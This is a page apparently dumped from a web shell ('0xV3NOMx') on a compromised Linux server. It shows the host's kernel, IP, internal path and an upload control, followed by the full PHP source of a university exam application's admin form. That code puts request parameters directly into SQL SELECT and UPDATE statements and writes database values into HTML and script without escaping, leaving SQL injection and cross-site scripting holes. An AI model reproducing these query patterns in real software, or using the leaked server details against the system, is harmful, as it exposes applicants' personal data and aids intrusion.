0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 18.218.107.101


Current Path : /var/www/html/kus/parikshamitra/admin/src/
Upload File :
Current File : /var/www/html/kus/parikshamitra/admin/src/appForm.php

<?php

function getStudentDetl($aobj_context)
{
	$appno = trim($aobj_context->mobj_data['appno']);

	$aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);
	$query = "SELECT fappno, DATE_FORMAT(fappdate,'%d/%m/%Y') AS fappdate, fregno, fname, fdegree, college.fcollname, fcategory, ftotal, fpaystatus, s.fservname, DATE_FORMAT(fdob,'%d/%m/%Y') AS fdob, st.fmobile, st.femail, faddr1, faddr2, faddr3, faddr4, fverifystatus, fverifyremarks FROM servtran st INNER JOIN servtype s ON s.fservcode =  st.fservcode, college WHERE college.FCOLLCODE = st.FCOLLCODE AND fappno='$appno'";
	$result = $aobj_context->mobj_db->GetRow($query);
    //$html .="<div><h1>Hello...</h1>";
	$html .="<div class='row'>
    <div class='col-lg-12 col-md-12 col-sm-12 col-xs-12  m-b--50'>
        <div class='card'>
            <div class='header1 bg-cyan'>
                <h2>
                    Application Form
                </h2>
            </div>
            
            <div class='body'>														
            <form class='form-horizontal'>
                <div style='margin-left:-10px;'>
                	<div class='col-lg-2 col-md-2 col-sm-4 col-xs-5 form-control-label'>
                        <label class='pull-left'  for='Application Number'>App. No.</label>
                    </div>
                    <div class='col-sm-4 col-md-2'>
                        <div class='form-group'>
                            <div class='form-line'>
                            	<input  id='appno1' type='text' value='{$result['fappno']}' class='form-control' disabled>
                            </div>
                        </div>
                    </div>
                </div>
                <div class='row clearfix'>
                        <div class='col-md-offset-2 col-lg-2 col-md-2 col-sm-4 col-xs-5 form-control-label'>
                            <label class='pull-left' for='App. Date'>App. Date</label>
                        </div>
                        <div class='col-sm-4 col-md-2'>
                            <div class='form-group'>
                                <div class='form-line'>
                                    <input type='text' class='form-control' id='date' value='{$result['fappdate']}' disabled>
                                </div>
                            </div>
                        </div>
                    </div>
                        <div class='col-lg-2 col-md-2 col-sm-4 col-xs-5 form-control-label'>
                            <label class='pull-left m-l--10' for='Candidate Name'>Candidate Name</label>
                        </div>
                        <div class='col-sm-4 col-md-4'>
                            <div class='form-group'>
                                <div class='form-line m-l--10'>
                                    <input type='text' class='form-control' id='fname' value='{$result['fname']}' disabled>
                                </div>
                            </div>
                        </div>
                    	
                   
                    <div class='row clearfix'>
                        <div class='col-lg-2 col-md-2 col-sm-4 col-xs-5 form-control-label'>
                            <label class='pull-left' for='Register Number'>Register Number</label>
                        </div>
                        <div class='col-sm-4 col-md-2'>
                            <div class='form-group'>
                                <div class='form-line'>
                                    <input type='text' class='form-control' id='regno' value='{$result['fregno']}' disabled>
                                </div>
                            </div>
                        </div>
                    </div>
                   
	                   <div class='col-lg-2 col-md-2 col-sm-4 col-xs-5 form-control-label'>
                            <label class='pull-left m-l--10' for='college'>College </label>
                        </div>
                        <div class='col-sm-4 col-md-4'>
                            <div class='form-group'>
                                <div class='form-line m-l--10'>
                                    <input type='text' class='form-control' id='college' value='{$result['fcollname']}' disabled>
                                </div>
                            </div>
                        </div>
                    	
                
                    <div class='row clearfix'>
                        <div class='col-lg-2 col-md-2 col-sm-4 col-xs-5 form-control-label'>
                            <label class='pull-left' for='Category'>Category </label>
                        </div>
                        <div class='col-sm-4 col-md-2'>
                            <div class='form-group'>
                                <div class='form-line'>
                                    <input type='text' class='form-control ' id='category' value='{$result['fcategory']}' disabled>
                                </div>
                            </div>
                        </div>
                    </div>

                        
                        <div class='col-lg-2 col-md-2 col-sm-4 col-xs-5 form-control-label'>
                            <label class='pull-left m-l--10' for='Degree'>Degree </label>
                        </div>
                        <div class='col-sm-4 col-md-4'>
                            <div class='form-group'>
                                <div class='form-line m-l--10'>
                                    <input type='text' class='form-control' id='degree' value='{$result['fdegree']}' disabled>
                                </div>
                            </div>
                        </div>
                
                     <div class='row clearfix'>
                        <div class='col-lg-2 col-md-2 col-sm-4 col-xs-5 form-control-label'>
                            <label class='pull-left' for='Date of Birth'> Date of Birth</label>
                        </div>
                        <div class='col-sm-4 col-md-2'>
                            <div class='form-group'>
                                <div class='form-line'>
                                    <input type='text' class='form-control' id='dob' value='{$result['fdob']}' disabled>
                                </div>
                            </div>
                        </div>
                    </div>

                
                    <div class='col-lg-2 col-md-2 col-sm-4 col-xs-5 form-control-label'>
                        <label class='pull-left m-l--15' for='Postal Address'>Postal Address  </label>
                    </div>
                    <div class='col-sm-4 col-md-4'>
                        <div class='form-group'>
                            <div class='form-line m-l--10 m-b-5'>
                                <input type='text' class='form-control' id='postal1' value='{$result['faddr1']}' disabled>
                            </div>
                        </div>
                        <div class='form-group'>
                            <div class='form-line m-l--10 m-b-5'>
                                <input type='text' class='form-control' id='postal2' value='{$result['faddr2']}' disabled>
                            </div>
                        </div>
                        <div class='form-group'>
                            <div class='form-line m-l--10 m-b-5'>
                                <input type='text' class='form-control' id='postal3' value='{$result['faddr3']}' disabled>
                            </div>
                        </div>
                        <div class='form-group'>
                            <div class='form-line m-l--10 m-b-5'>
                                <input type='text' class='form-control' id='postal4' value='{$result['faddr4']}' disabled>
                            </div>
                        </div>
                    </div>

                    <div class='col-lg-2 col-md-2 col-sm-4 col-xs-5 form-control-label'>
                        <label class='pull-left' for='Mobile No.'> Mobile No.</label>
                    </div>
                    <div class='col-sm-4 col-md-3'>
                        <div class='form-group'>
                            <div class='form-line'>
                                <input type='text' class='form-control' id='mobile' value='{$result['fmobile']}' disabled>
                            </div>
                        </div>
                    </div>
                               
                    <div class='col-lg-2 col-md-2 col-sm-4 col-xs-5 form-control-label'>
                        <label class='pull-left' for='Email Id'> Email Id </label>
                    </div>
                    <div class='col-sm-4 col-md-3'>
                        <div class='form-group'>
                            <div class='form-line'>
                                <input type='text' class='form-control' id='email' value='{$result['femail']}' disabled>
                            </div>
                        </div>
                    </div>    


            	<div class='col-lg-2 col-md-2 col-sm-4 col-xs-5 form-control-label'>
                    <label class='pull-left' for=' Applicationfor'> Application for</label>
                </div>
                <div class='col-sm-4 col-md-4'>
                    <div class='form-group'>
                        <div class='form-line'>
                        	<input type='text' class='form-control' id=' applicationfor' value='{$result['fservname']}' disabled>
                        </div>
                    </div>
                </div>
                   
                <div class='row clearfix'>
                    <div class='col-lg-2 col-md-2 col-sm-4 col-xs-5 form-control-label'>
                        <label class='pull-left' for='amount'>Total amount  </label>
                    </div>
                    <div class='col-sm-4 col-md-2'>
                        <div class='form-group'>
                            <div class='form-line m-l--5'>
                            	<input type='text' class='form-control' id='amount' value='{$result['ftotal']}' disabled>
                            </div>
                        </div>
                    </div>
                </div>";

    $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); 
    $query = "SELECT st.fservname, famount, sf.ffeedesc FROM servdetl sd INNER JOIN servfee sf ON sd.ffeecode=sf.ffeecode, servtype st WHERE sf.fservcode = st.fservcode AND fappno='$appno'";
    $result1 = $aobj_context->mobj_db->GetAll($query);
    if($result1)
    {
        $i=1;

        $html .="<div class='header'>
                <h4 class='m-t--10 m-b--10'>
                    Service Details
                </h4>
            </div>
        <div class='row'><div class='col-md-12'><table id='mainTable' class='table table-striped table-condensed table-bordered'>
                        <thead>
                            <tr class='bg-cyan'>
                                <th>Sl. No.</th>
                                <th>Service Name</th>
                                <th>Amount</th>
                                <th>Description</th>
                            </tr>
                        </thead>
                        <tbody>";
         
        foreach($result1 as $key => $value)
        {
            $html .="<tr>";
            
            $html .="<td>
                    <span><center>{$i}</center></span>
                    </td>";
            $html .="<td>
                    {$value['fservname']}
                    </td>";
            $html .="<td>
                    <span style='float : right;'>{$value['famount']}</span>
                    </td>";
            $html .="<td>
                    {$value['ffeedesc']}
                    </td>";
            $html .="</tr>";
            $i++;
        }
        $html .= "</tbody></table></div></div>";
    }
                   
    $html .= "<div class='col-lg-2 col-md-1 col-sm-4 col-xs-5 form-control-label'>
                            <label class='pull-left' for='remarks'>Remarks</label>
                        </div>
                        <div class='col-sm-4 col-md-4'>
                            <div class='form-group'>
                                <div class='form-line'>
                                    <textarea id='remarks1' class='form-control'>{$result['fverifyremarks']}</textarea>
                                </div>
                            </div>
                        </div>
             
                    <div class='row clearfix'>
                        <div class='col-lg-2 col-md-1 col-sm-4 col-xs-5 form-control-label'>
                            <label class='pull-left' for='status'>Status</label>
                        </div>
                        <div class='col-sm-2'>
                            <select id='status1' class='form-control show-tick' style='margin-left: -15px'>

                                <option value='pending'>Pending</option>
                                <option value='cleared'>Cleared</option>
                            </select>
                            <script>$('#status1').val('{$result['fverifystatus']}');</script>
                        </div>
                    </div>                
                <div class='row'>
                    <div class='col-md-offset-8 col-md-1'>
                    <button type='button' class='btn btn-primary' onclick='saveChanges()'>Save</button>
                    </div>
                    <div class='col-md-1'>
                    <button type='button' class='btn btn-secondary' data-dismiss='modal'>Close</button>
                    </div>
                </div>  

                </div>
                </form>
            </div>
        </div>
    </div>
    </div>";

	if($result)
	{
		$arr['html'] = $html;
		echo $aobj_context->mobj_output->ToJSONEnvelope($arr,0,"success");	
		return; 
	}else
	{
		$arr = '';
		echo $aobj_context->mobj_output->ToJSONEnvelope($arr,-1,"Failure");	
		return; 
	}
}


function saveVerificationDetails($aobj_context)
{
    $appno = trim($aobj_context->mobj_data['appno']);
    $remarks = trim($aobj_context->mobj_data['remarks']);
    $status = trim($aobj_context->mobj_data['status']);
    $user = $_SESSION['username'];

    $update_status = "update servtran set fverifyuser = '$user', fverifystatus = '$status', fverifyremarks = '$remarks', fverifydate = NOW() where fappno = '$appno'";
    //var_dump($update_status);
    $result = $aobj_context->mobj_db->Execute($update_status);
    if($result)
    {
        $arr = '';
        echo $aobj_context->mobj_output->ToJSONEnvelope($arr,0,"success");  
        return;
    }
    else
    {
        $arr = '';
        echo $aobj_context->mobj_output->ToJSONEnvelope($arr,-1,"Failure"); 
    }
}

?>